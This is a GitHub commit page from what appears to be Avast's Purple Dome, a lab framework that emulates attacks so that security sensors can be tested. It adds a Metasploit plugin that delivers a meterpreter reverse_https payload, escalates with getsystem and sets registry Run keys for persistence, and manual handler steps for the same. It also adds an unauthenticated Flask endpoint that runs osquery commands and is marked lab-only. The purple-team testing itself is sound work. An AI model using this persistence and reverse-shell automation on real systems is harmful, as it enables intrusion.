Merge pull request #13 from avast/mass_experiments

Mass experiments
pull/17/head
Thorsten Sick 3 years ago committed by GitHub
commit fc5ec6a702
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

@ -59,34 +59,76 @@ class AttackLog():
def get_caldera_default_description(self, ability_id: str): def get_caldera_default_description(self, ability_id: str):
""" Returns the default description for this ability based on a db """ """ Returns the default description for this ability based on a db """
data = {"bd527b63-9f9e-46e0-9816-b8434d2b8989": "Obtain user from current session"} data = {"bd527b63-9f9e-46e0-9816-b8434d2b8989": "Obtain user from current session",
"697e8a432031075e47cccba24417013d": "Copy a VBS file to several startup folders",
"f39161b2fa5d692ebe3972e0680a8f97": "Copy a BAT file to several startup folders",
"16e6823c4656f5cd155051f5f1e5d6ad": "Copy a JSE file to several startup folders",
"443b853ac50a79fc4a85354cb2c90fa2": "Set Regky RunOnce\\0001\\Depend to run a dll",
"2bfafbee8e3edb25974a5d1aa3d9f431": "Set Regky RunOnce\\0001\\Depend , download a bat",
"163b023f43aba758d36f524d146cb8ea": "Set Regkey CurrentVersion\\Run to start a exe"}
if ability_id not in data: if ability_id not in data:
return None return None
return data[ability_id] return data[ability_id]
def get_caldera_default_tactics(self, ability_id: str): def get_caldera_default_tactics(self, ability_id: str, ttp: Optional[str]):
""" Returns the default tactics for this ability based on a db """ """ Returns the default tactics for this ability based on a db """
data = {"bd527b63-9f9e-46e0-9816-b8434d2b8989": "System Owner/User Discovery"} data = {"bd527b63-9f9e-46e0-9816-b8434d2b8989": "System Owner/User Discovery",
if ability_id not in data: "697e8a432031075e47cccba24417013d": "Persistence",
return None "f39161b2fa5d692ebe3972e0680a8f97": "Persistence",
"16e6823c4656f5cd155051f5f1e5d6ad": "Persistence",
"443b853ac50a79fc4a85354cb2c90fa2": "Persistence",
"2bfafbee8e3edb25974a5d1aa3d9f431": "Persistence",
"163b023f43aba758d36f524d146cb8ea": "Persistence",
"697e8a432031075e47cccba24417013d": "Persistence"}
ttp_data = {"t1547": "Persistence",
"t1547.001": "Persistence"}
if ability_id in data:
return data[ability_id] return data[ability_id]
def get_caldera_default_tactics_id(self, ability_id: str): if ttp is not None:
""" Returns the default name for this ability based on a db """ if ttp.lower() in ttp_data:
return ttp_data[ttp.lower()]
data = {"bd527b63-9f9e-46e0-9816-b8434d2b8989": "T1033"}
if ability_id not in data:
return None return None
def get_caldera_default_tactics_id(self, ability_id: str, ttp: Optional[str]):
""" Returns the default name for this ability based on a db """
data = {"bd527b63-9f9e-46e0-9816-b8434d2b8989": "T1033",
"697e8a432031075e47cccba24417013d": "TA0003",
"f39161b2fa5d692ebe3972e0680a8f97": "TA0003",
"16e6823c4656f5cd155051f5f1e5d6ad": "TA0003",
"443b853ac50a79fc4a85354cb2c90fa2": "TA0003",
"2bfafbee8e3edb25974a5d1aa3d9f431": "TA0003",
"163b023f43aba758d36f524d146cb8ea": "TA0003",
"697e8a432031075e47cccba24417013d": "TA0003"}
ttp_data = {"t1547": "TA0003",
"t1547.001": "TA0003"}
if ability_id in data:
return data[ability_id] return data[ability_id]
if ttp is not None:
if ttp.lower() in ttp_data:
return ttp_data[ttp.lower()]
return None
def get_caldera_default_situation_description(self, ability_id: str): def get_caldera_default_situation_description(self, ability_id: str):
""" Returns the default situation description for this ability based on a db """ """ Returns the default situation description for this ability based on a db """
data = {"bd527b63-9f9e-46e0-9816-b8434d2b8989": None} data = {"bd527b63-9f9e-46e0-9816-b8434d2b8989": None,
"697e8a432031075e47cccba24417013d": None,
"f39161b2fa5d692ebe3972e0680a8f97": None,
"16e6823c4656f5cd155051f5f1e5d6ad": None,
"443b853ac50a79fc4a85354cb2c90fa2": None,
"2bfafbee8e3edb25974a5d1aa3d9f431": None,
"163b023f43aba758d36f524d146cb8ea": None}
if ability_id not in data: if ability_id not in data:
return None return None
@ -95,7 +137,13 @@ class AttackLog():
def get_caldera_default_countermeasure(self, ability_id: str): def get_caldera_default_countermeasure(self, ability_id: str):
""" Returns the default countermeasure for this ability based on a db """ """ Returns the default countermeasure for this ability based on a db """
data = {"bd527b63-9f9e-46e0-9816-b8434d2b8989": None} data = {"bd527b63-9f9e-46e0-9816-b8434d2b8989": None,
"697e8a432031075e47cccba24417013d": None,
"f39161b2fa5d692ebe3972e0680a8f97": None,
"16e6823c4656f5cd155051f5f1e5d6ad": None,
"443b853ac50a79fc4a85354cb2c90fa2": None,
"2bfafbee8e3edb25974a5d1aa3d9f431": None,
"163b023f43aba758d36f524d146cb8ea": None}
if ability_id not in data: if ability_id not in data:
return None return None
@ -127,8 +175,8 @@ class AttackLog():
"logid": logid, "logid": logid,
"name": kwargs.get("name", self.get_caldera_default_name(ability_id)), "name": kwargs.get("name", self.get_caldera_default_name(ability_id)),
"description": kwargs.get("description", self.get_caldera_default_description(ability_id)), "description": kwargs.get("description", self.get_caldera_default_description(ability_id)),
"tactics": kwargs.get("tactics", self.get_caldera_default_tactics(ability_id)), "tactics": kwargs.get("tactics", self.get_caldera_default_tactics(ability_id, ttp)),
"tactics_id": kwargs.get("tactics_id", self.get_caldera_default_tactics_id(ability_id)), "tactics_id": kwargs.get("tactics_id", self.get_caldera_default_tactics_id(ability_id, ttp)),
"situation_description": kwargs.get("situation_description", self.get_caldera_default_situation_description(ability_id)), # Description for the situation this attack was run in. Set by the plugin or attacker emulation "situation_description": kwargs.get("situation_description", self.get_caldera_default_situation_description(ability_id)), # Description for the situation this attack was run in. Set by the plugin or attacker emulation
"countermeasure": kwargs.get("countermeasure", self.get_caldera_default_countermeasure(ability_id)), # Set by the attack "countermeasure": kwargs.get("countermeasure", self.get_caldera_default_countermeasure(ability_id)), # Set by the attack
"obfuscator": kwargs.get("obfuscator", "default"), "obfuscator": kwargs.get("obfuscator", "default"),

@ -15,8 +15,6 @@ from app.exceptions import CalderaError
from app.interface_sfx import CommandlineColors from app.interface_sfx import CommandlineColors
# TODO: Ability deserves an own class. # TODO: Ability deserves an own class.
# TODO: Support all Caldera agents: "Sandcat (GoLang)","Elasticat (Blue Python/ Elasticsearch)","Manx (Reverse Shell TCP)","Ragdoll (Python/HTML)" # TODO: Support all Caldera agents: "Sandcat (GoLang)","Elasticat (Blue Python/ Elasticsearch)","Manx (Reverse Shell TCP)","Ragdoll (Python/HTML)"
@ -242,8 +240,13 @@ class CalderaControl():
res = [] res = []
print(f"Number of abilities: {len(self.list_abilities())}")
with open("debug_removeme.txt", "wt") as fh:
fh.write(pformat(self.list_abilities()))
for ability in self.list_abilities(): for ability in self.list_abilities():
if ability["ability_id"] == abid: if ability.get("ability_id", None) == abid or ability.get("auto_generated_guid", None) == abid:
res.append(ability) res.append(ability)
return res return res
@ -256,9 +259,16 @@ class CalderaControl():
# caldera knows the os-es "windows", "linux" and "darwin" # caldera knows the os-es "windows", "linux" and "darwin"
for ability in self.get_ability(abid): abilities = self.get_ability(abid)
for ability in abilities:
if ability["platform"] == platform: if ability["platform"] == platform:
return True return True
if platform in ability.get("supported_platforms", []):
return True
if platform in ability.get("platforms", []):
return True
print(self.get_ability(abid))
return False return False
def get_operation_by_id(self, op_id: str): def get_operation_by_id(self, op_id: str):

@ -204,13 +204,15 @@ class Metasploit():
payload_name = kwargs.get("outfile", "babymetal.exe") payload_name = kwargs.get("outfile", "babymetal.exe")
payload_type = kwargs.get("payload", None) payload_type = kwargs.get("payload", None)
retries = 3
if payload_type is None: if payload_type is None:
raise MetasploitError("Payload not defined") raise MetasploitError("Payload not defined")
try: try:
self.start_exploit_stub_for_external_payload(payload_type, lhost=kwargs.get("lhost", None)) ip = socket.gethostbyname(self.attacker.get_ip())
self.start_exploit_stub_for_external_payload(payload_type, lhost=kwargs.get("lhost", ip))
self.wait_for_session(2) self.wait_for_session(2)
except MetasploitError: except MetasploitError:
while retries:
self.attack_logger.vprint( self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Create payload {payload_name} {CommandlineColors.ENDC}", f"{CommandlineColors.OKCYAN}Create payload {payload_name} {CommandlineColors.ENDC}",
1) 1)
@ -221,7 +223,12 @@ class Metasploit():
1) 1)
self.start_exploit_stub_for_external_payload(payload=payload_type, lhost=kwargs.get("lhost", None)) self.start_exploit_stub_for_external_payload(payload=payload_type, lhost=kwargs.get("lhost", None))
self.wait_for_session() try:
self.wait_for_session(100)
break
except MetasploitError:
retries -= 1
print(f"Global metasploit retries: {retries}")
########################################################################## ##########################################################################

@ -64,7 +64,10 @@ class AttackPlugin(BasePlugin):
""" Inits metasploit """ """ Inits metasploit """
if self.needs_metasploit(): if self.needs_metasploit():
self.metasploit = MetasploitInstant(self.metasploit_password, attack_logger=self.attack_logger, attacker=self.attacker_machine_plugin, username=self.metasploit_user) self.metasploit = MetasploitInstant(self.metasploit_password,
attack_logger=self.attack_logger,
attacker=self.attacker_machine_plugin,
username=self.metasploit_user)
# If metasploit requirements are not set, self.metasploit stay None and using metasploit from a plugin not having the requirements will trigger an exception # If metasploit requirements are not set, self.metasploit stay None and using metasploit from a plugin not having the requirements will trigger an exception
def copy_to_attacker_and_defender(self): def copy_to_attacker_and_defender(self):

@ -8,7 +8,6 @@ from app.exceptions import PluginError # type: ignore
import app.exceptions # type: ignore import app.exceptions # type: ignore
class BasePlugin(): class BasePlugin():
""" Base class for plugins """ """ Base class for plugins """

@ -6,7 +6,6 @@ from typing import Optional
from plugins.base.plugin_base import BasePlugin from plugins.base.plugin_base import BasePlugin
class SensorPlugin(BasePlugin): class SensorPlugin(BasePlugin):
""" A sensor will be running on the target machine and monitor attacks. To remote control those sensors """ A sensor will be running on the target machine and monitor attacks. To remote control those sensors
there are sensor plugins. This is the base class for them there are sensor plugins. This is the base class for them

@ -128,16 +128,21 @@ class SSHFeatures(BasePlugin):
try: try:
res = self.connection.put(src, dst) res = self.connection.put(src, dst)
except (paramiko.ssh_exception.SSHException, socket.timeout, UnexpectedExit): except (paramiko.ssh_exception.SSHException, socket.timeout, UnexpectedExit):
self.vprint("PUT Failed to connect", 1) self.vprint("SSH PUT: Failed to connect", 1)
do_retry = True do_retry = True
except paramiko.ssh_exception.NoValidConnectionsError as error: except paramiko.ssh_exception.NoValidConnectionsError as error:
self.vprint(f"No valid connection. Errors: {error.errors}", 1) self.vprint(f"SSH PUT: No valid connection. Errors: {error.errors}", 1)
do_retry = True do_retry = True
except OSError:
self.vprint("SSH PUT: Obscure OSError, ignoring (file should have been copied)", 1)
pass
# do_retry = True
# breakpoint()
except FileNotFoundError as error: except FileNotFoundError as error:
self.vprint(f"File not found: {error}", 0) self.vprint(f"SSH PUT: File not found: {error}", 0)
break break
if do_retry: if do_retry:
self.vprint(f"Will retry {retries} times. Timeout: {timeout}", 3) self.vprint(f"SSH PUT: Will retry {retries} times. Timeout: {timeout}", 3)
retries -= 1 retries -= 1
timeout += 10 timeout += 10
time.sleep(retry_sleep) time.sleep(retry_sleep)
@ -170,8 +175,12 @@ class SSHFeatures(BasePlugin):
raise NetworkError from error raise NetworkError from error
do_retry = True do_retry = True
except paramiko.ssh_exception.NoValidConnectionsError as error: except paramiko.ssh_exception.NoValidConnectionsError as error:
self.vprint(f"No valid connection. Errors: {error.errors}", 1) self.vprint(f"SSH GET: No valid connection. Errors: {error.errors}", 1)
do_retry = True do_retry = True
except OSError:
self.vprint("SSH GET: Obscure OSError, ignoring (file should have been copied)", 1)
pass
# do_retry = True
except FileNotFoundError as error: except FileNotFoundError as error:
self.vprint(error, 0) self.vprint(error, 0)
break break

@ -0,0 +1,17 @@
Manual operation
----------------
target: start babymetal.exe
attacker:
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set LHOST 192.168.178.189 (YMMV)
set LPORT 6666 (YMMV)
run
100.64.0.25 on kali
100.64.0.25 on win
getsystem
reg setval -k HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run -v purpledome -d c:\windows\system32\calc.exe

@ -0,0 +1,42 @@
###
# Configuration for autostart experiments
### Registry key to set
# 0: "HKCU\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run",
# 1: "HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run",
# 2: HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnceEx\\\\0001\\\\Depend
regkey_variant: 2
### Data to set
# 0: c:\\windows\\system32\\calc.exe
# 1: c:\temp\evil.dll
# 2: c:\dummy.dll
data_options: 0
###
# Run getsystem first ?
getsystem: True
###
# Name of the registry key to add
value: purpledome3_new2
###
# meterpreter commands to execute before migrating to a new process
# Can be used to start processes to hide in
# start_commands:
# - execute -f calc.exe
### Upload files (those could be autostarted !)
#
upload:
- dummy.dll
###
# Migrate to a new process before modifying the registry
migrate: No
###
# Process to migrate to
migrate_target: svchost.exe

@ -0,0 +1,121 @@
#!/usr/bin/env python3
# A plugin to nmap targets slow motion, to evade sensors
from plugins.base.attack import AttackPlugin, Requirement
from app.interface_sfx import CommandlineColors
import os
class MetasploitAutostart1Plugin(AttackPlugin):
# Boilerplate
name = "metasploit_registry_autostart_1"
description = "Modify the registry to autostart"
ttp = "T1547_1"
references = ["https://attack.mitre.org/techniques/T1547/001/"]
tactics = "Persistence"
tactics_id = "TA0003"
required_files = [] # Files shipped with the plugin which are needed by the kali tool. Will be copied to the kali share
requirements = [Requirement.METASPLOIT]
def __init__(self):
super().__init__()
self.plugin_path = __file__
def run(self, targets):
""" Run the command
@param targets: A list of targets, ip addresses will do
"""
res = ""
payload_type = "windows/x64/meterpreter/reverse_https"
payload_name = "babymetal.exe"
target = self.targets[0]
# self.connect_metasploit()
# ip = socket.gethostbyname(self.attacker_machine_plugin.get_ip())
self.metasploit.smart_infect(target,
# lhost=ip,
payload=payload_type,
outfile=payload_name,
format="exe",
architecture="x64")
###
rkeys = [r"HKCU\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run",
r"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run",
r"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnceEx\\\\0001\\\\Depend"
]
regkey = rkeys[self.conf['regkey_variant']]
# value = "purpledome"
data_options = [r"c:\\windows\\system32\\calc.exe ",
r"c:\\temp\\evil.dll",
r"c:\\dummy.dll"]
data = data_options[self.conf['data_options']]
# data = r"c:\\windows\\system32\\calc.exe "
# regkey = self.conf['regkey']
value = self.conf["value"]
# data = self.conf["data"]
command_set = f"reg setval -k {regkey} -v {value} -d {data}"
command_create = f"reg createkey -k {regkey}"
if self.conf["getsystem"]:
self.metasploit.getsystem(target,
variant=0,
situation_description="Elevating privileges to write to the registry",
countermeasure="Observe how pipes are used. Take steps before (gaining access) and after (abusing those new privileges) into account for detection."
)
self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Execute {command_set} through meterpreter{CommandlineColors.ENDC}", 1)
if "upload" in self.conf and len(self.conf["upload"]):
print(f"Before {self.metasploit.meterpreter_execute_on(['pwd'], target)}")
print(self.metasploit.meterpreter_execute_on(["cd c:\\"], target))
print(f"After {self.metasploit.meterpreter_execute_on(['pwd'], target)}")
for src in self.conf["upload"]:
print(src)
self.attacker_machine_plugin.put(
os.path.join(os.path.dirname(self.plugin_path), "resources", src), src)
self.metasploit.upload(target, src, src) # Make sure the process to hide behind is running
if "start_commands" in self.conf and len(self.conf["start_commands"]):
for cmd in self.conf["start_commands"]:
print(cmd)
self.metasploit.meterpreter_execute_on([cmd], target) # Make sure the process to hide behind is running
if self.conf["migrate"]:
tgt = self.conf["migrate_target"]
print(f"Migrate to {tgt}")
self.metasploit.migrate(target, name=tgt)
logid = self.attack_logger.start_metasploit_attack(source=self.attacker_machine_plugin.get_ip(),
target=target.get_ip(),
metasploit_command=command_set,
ttp=self.ttp,
name="registry add run key",
description=self.description,
tactics=self.tactics,
tactics_id=self.tactics_id,
situation_description="",
countermeasure=""
)
res = self.metasploit.meterpreter_execute_on([command_create], target)
print(res)
res = self.metasploit.meterpreter_execute_on([command_set], target)
print(res)
self.attack_logger.stop_metasploit_attack(source=self.attacker_machine_plugin.get_ip(),
target=target.get_ip(),
metasploit_command=command_set,
ttp=self.ttp,
logid=logid,
result=res)
###
# breakpoint()
return res

@ -0,0 +1,3 @@
# OSQuery
Standalone OSQuery experiment.

@ -0,0 +1,43 @@
#!/usr/bin/env python3
""" The remote bastion for the sensor. Used to control the osquery on the target. Opens a web command shell.
This is not meant to be secure and MUST NOT be used in a productive environment. As we use this in a hacking lab this
is reasonable.
Test with curl:
curl -X POST -F 'command=test' localhost:6666/osquery
(select timestamp from time)
"""
from flask import Flask, jsonify, request
import osquery
# TODO: Create a proper tool out of it
# TODO: Start osqueryi with proper parameters
# TODO: On the controller side: Find a collection of queries to get the system state
# TODO: Interesting tables: appcompat_shims, authenticode, autoexec, certificates, etc_hosts, logged_in_users
app = Flask(__name__)
osquery_instance = osquery.ExtensionClient('/home/vagrant/test.sock')
osquery_instance.open()
@app.route("/osquery", methods=['POST'])
def api():
data = {}
if request.method == 'POST':
command = request.form["command"]
data = {"command": command}
client = osquery_instance.extension_client()
data["result"] = client.query(command).response
return jsonify(data)
if __name__ == "__main__":
# Important: This is to be run on target hosts only. Those are hacked anyway.
# Very bad security practice to use it in real world.
app.run(host='0.0.0.0', port=6666) # nosec

@ -0,0 +1,72 @@
#!/usr/bin/env python3
# A plugin to experiment with Linux osquery
# https://github.com/osquery/osquery-python
from plugins.base.sensor import SensorPlugin
# import os
# from jinja2 import Environment, FileSystemLoader, select_autoescape
class LinuxOSQueryPlugin(SensorPlugin):
# Boilerplate
name = "osquery"
description = "Linux osquery plugin" # Can later be extended to support other OS-es as well
required_files = []
def __init__(self):
super().__init__()
self.plugin_path = __file__
self.debugit = False
def process_templates(self):
""" process jinja2 templates of the config files and insert own config """
pass
def prime(self):
""" Hard-core install. Requires a reboot """
# pg = self.get_playground()
self.vprint("Installing Linux OSQuery", 3)
self.run_cmd('echo "deb [arch=amd64] https://pkg.osquery.io/deb deb main" | sudo tee /etc/apt/sources.list.d/osquery.list')
self.run_cmd("sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 1484120AC4E9F8A1A577AEEE97A80C63C9D8B80B")
self.run_cmd("sudo apt update")
self.run_cmd("sudo apt -y install osquery")
self.run_cmd("")
# sudo apt -y install python3-pip
# pip install osquery
return False
def install(self):
""" Installs the filebeat sensor """
return
def start(self):
self.run_cmd("osqueryi --ephemeral --disable_logging --disable_database --extensions_socket /home/vagrant/test.sock") # TODO: Find better socket name
"""
ec = osquery.ExtensionClient("/home/vagrant/test.sock")
ec.open()
c = ec.extension_client()
c.query("select timestamp from time")
"""
return None
def stop(self):
""" Stop the sensor """
return
def collect(self, path):
""" Collect sensor data """
dst = ""
return [dst]

@ -13,6 +13,7 @@ sphinxcontrib.asciinema==0.3.2
paramiko==2.7.2 paramiko==2.7.2
pymetasploit3==1.0.3 pymetasploit3==1.0.3
pylint pylint
flask
# Mypy stuff # Mypy stuff
mypy mypy

@ -408,22 +408,22 @@ class TestMachineConfig(unittest.TestCase):
def test_get_caldera_default_tactics_missing(self): def test_get_caldera_default_tactics_missing(self):
""" Testing getting the caldera default tactics """ """ Testing getting the caldera default tactics """
al = AttackLog() al = AttackLog()
self.assertEqual(al.get_caldera_default_tactics("missing"), None) self.assertEqual(al.get_caldera_default_tactics("missing", None), None)
def test_get_caldera_default_tactics(self): def test_get_caldera_default_tactics(self):
""" Testing getting the caldera default tactics """ """ Testing getting the caldera default tactics """
al = AttackLog() al = AttackLog()
self.assertEqual(al.get_caldera_default_tactics("bd527b63-9f9e-46e0-9816-b8434d2b8989"), "System Owner/User Discovery") self.assertEqual(al.get_caldera_default_tactics("bd527b63-9f9e-46e0-9816-b8434d2b8989", None), "System Owner/User Discovery")
def test_get_caldera_default_tactics_id_missing(self): def test_get_caldera_default_tactics_id_missing(self):
""" Testing getting the caldera default tactics_id """ """ Testing getting the caldera default tactics_id """
al = AttackLog() al = AttackLog()
self.assertEqual(al.get_caldera_default_tactics_id("missing"), None) self.assertEqual(al.get_caldera_default_tactics_id("missing", None), None)
def test_get_caldera_default_tactics_id(self): def test_get_caldera_default_tactics_id(self):
""" Testing getting the caldera default tactics_id """ """ Testing getting the caldera default tactics_id """
al = AttackLog() al = AttackLog()
self.assertEqual(al.get_caldera_default_tactics_id("bd527b63-9f9e-46e0-9816-b8434d2b8989"), "T1033") self.assertEqual(al.get_caldera_default_tactics_id("bd527b63-9f9e-46e0-9816-b8434d2b8989", None), "T1033")
def test_get_caldera_default_situation_description_missing(self): def test_get_caldera_default_situation_description_missing(self):
""" Testing getting the caldera default situation_description """ """ Testing getting the caldera default situation_description """

@ -12,8 +12,7 @@ globs = ["TODO.md",
".gitignore", ".gitignore",
"*.py", "*.py",
"CONTRIBUTING.txt", "CONTRIBUTING.txt",
"experiment.yaml", "*.yaml",
"cloud_experiment.yaml",
"Makefile", "Makefile",
"*.sh", "*.sh",
"README.md", "README.md",
@ -38,28 +37,28 @@ globs = ["TODO.md",
"doc/source/_templates/*", "doc/source/_templates/*",
"tests/data/*.yaml", "tests/data/*.yaml",
"plugins/base/*.py", "plugins/base/*.py",
"plugins/default/*/*/*.py", "plugins/default/*/**/*.py",
"plugins/default/*/*/*.txt", "plugins/default/*/**/*.txt",
"plugins/default/*/*/*.md", "plugins/default/*/**/*.md",
"plugins/default/*/**/*.exe", "plugins/default/*/**/*.exe",
"plugins/default/*/**/*.ps1", "plugins/default/*/**/*.ps1",
"plugins/default/*/*/*.yaml", "plugins/default/*/**/*.yaml",
"plugins/default/*/*/*.dll", "plugins/default/*/**/*.dll",
"plugins/default/*/*/*.dll_*", "plugins/default/*/**/*.dll_*",
"plugins/default/*/*/*.reg", "plugins/default/*/**/*.reg",
"plugins/avast_internal_plugins/*/*/*.py", "plugins/avast_internal_plugins/*/**/*.py",
"plugins/avast_internal_plugins/*/*/*.bat", "plugins/avast_internal_plugins/*/**/*.bat",
"plugins/avast_internal_plugins/*/*/*.ps1", "plugins/avast_internal_plugins/*/**/*.ps1",
"plugins/avast_internal_plugins/*/*/*.txt", "plugins/avast_internal_plugins/*/**/*.txt",
"plugins/avast_internal_plugins/*/*/*.md", "plugins/avast_internal_plugins/*/**/*.md",
"plugins/avast_internal_plugins/*/*/*.yaml", "plugins/avast_internal_plugins/*/**/*.yaml",
"plugins/avast_internal_plugins/*/*/*.exe", "plugins/avast_internal_plugins/*/**/*.exe",
"plugins/avast_internal_plugins/*/*/*.com", "plugins/avast_internal_plugins/*/**/*.com",
"plugins/avast_internal_plugins/*/*/*.dll", "plugins/avast_internal_plugins/*/**/*.dll",
"plugins/avast_internal_plugins/*/*/*.dll_*", "plugins/avast_internal_plugins/*/**/*.dll_*",
"plugins/avast_internal_plugins/*/*/*.reg", "plugins/avast_internal_plugins/*/**/*.reg",
"plugins/avast_internal_plugins/*/*/idpx", "plugins/avast_internal_plugins/*/**/idpx",
"plugins/avast_internal_plugins/*/*/hosts", "plugins/avast_internal_plugins/*/**/hosts",
"plugins/README.md", "plugins/README.md",
"pylint.rc", "pylint.rc",
"shipit_log.txt", "shipit_log.txt",

Loading…
Cancel
Save